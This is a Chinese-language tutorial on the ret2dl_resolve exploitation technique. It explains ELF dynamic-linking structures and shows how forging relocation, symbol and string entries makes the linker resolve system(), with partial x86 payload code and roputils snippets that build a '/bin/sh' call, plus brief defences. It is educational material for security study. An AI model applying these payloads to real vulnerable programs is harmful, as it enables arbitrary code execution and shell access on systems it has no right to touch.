ret2dl_resolve从原理到实践
字数 1232 2025-08-24 23:51:13
ret2dl_resolve技术从原理到实践
1. 技术概述
ret2dl_resolve是一种利用ELF文件动态链接机制的攻击技术,通过伪造动态链接过程中使用的数据结构,实现任意函数解析和调用的攻击方法。这种技术在缺乏libc地址泄露的情况下特别有用。
2. ELF文件结构基础
2.1 关键段(Section)
.dynsym: 动态符号表,包含ELF_Sym结构数组.rel.plt/.rela.plt: 函数重定位表,包含ELF_Rel/ELF_Rela结构数组.dynstr: 动态字符串表,包含函数名称字符串.got.plt: 全局偏移表,存储函数地址
2.2 关键数据结构
ELF_Sym结构 (符号表项)
typedef struct {
Elf32_Word st_name; // 符号名在.dynstr中的偏移
Elf32_Addr st_value; // 符号值(解析后为函数地址)
Elf32_Word st_size; // 符号大小
unsigned char st_info; // 符号类型和绑定信息
unsigned char st_other; // 符号可见性
Elf32_Section st_shndx; // 段索引
} Elf32_Sym;
ELF_Rel结构 (重定位项)
typedef struct {
Elf32_Addr r_offset; // 重定位地址(通常是GOT条目)
Elf32_Word r_info; // 符号索引和重定位类型
} Elf32_Rel;
3. 动态链接机制解析
3.1 惰性加载(Lazy Binding)流程
- 首次调用函数时,GOT条目指向PLT中的解析代码
- PLT代码将重定位索引(reloc_index)压栈
- 跳转到PLT[0]执行
- PLT[0]将link_map对象(GOT[1])压栈
- 跳转到_dl_runtime_resolve(GOT[2])
3.2 _dl_runtime_resolve解析过程
- 根据reloc_index在.rel.plt中找到ELF_Rel结构
- 从ELF_Rel的r_info中提取符号索引
- 在.dynsym中找到对应的ELF_Sym结构
- 从ELF_Sym的st_name在.dynstr中找到函数名
- 解析函数地址并写入GOT条目
- 跳转到解析后的函数
4. 攻击原理
通过伪造上述解析过程中使用的数据结构,可以欺骗动态链接器解析任意函数:
- 伪造.rel.plt条目,指向伪造的ELF_Sym结构
- 伪造ELF_Sym结构,指向伪造的函数名
- 伪造.dynstr内容,包含目标函数名(如"system")
5. 攻击实践
5.1 x86平台攻击示例
攻击步骤:
- 栈迁移到可控区域(如.bss段)
- 伪造重定位结构
- 伪造符号表结构
- 伪造字符串表
- 调用PLT[0]触发解析
关键代码:
# 伪造重定位项
fake_reloc = p32(alarm_got) + p32(r_info) # 重定位到alarm的GOT,但伪造符号信息
# 伪造符号表项
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
# 栈布局
payload += p32(plt_0) # 触发解析
payload += p32(index_offset) # 伪造的重定位索引
payload += 'a'*4 # 返回地址(不重要)
payload += p32(control_base + 0x50) # 参数地址
5.2 x64平台差异
- 使用.rela.plt而非.rel.plt
- ELF_Rela结构多了一个r_addend字段
- 需要设置link_map为0(或泄露真实地址)
- 参数传递通过寄存器而非栈
使用roputils简化攻击:
rop = ROP('./binary')
addr_bss = rop.section('.bss')
payload = rop.retfill(offset)
payload += rop.call(read_plt, 0, addr_bss, 0x100)
payload += rop.dl_resolve_call(addr_bss+0x20, addr_bss)
6. 防御措施
- FULL RELRO: 在程序启动时解析所有符号,使GOT只读
- 栈保护: 防止栈溢出和栈迁移
- 地址随机化: 增加伪造数据结构的难度
7. 工具使用
推荐使用roputils等工具简化攻击构造:
buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system')
buf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)
8. 总结
ret2dl_resolve是一种强大的攻击技术,它利用了动态链接器的信任机制。理解其原理不仅有助于攻击,也能帮助设计更好的防御措施。在实际应用中,需要结合具体ELF文件结构和保护机制进行调整。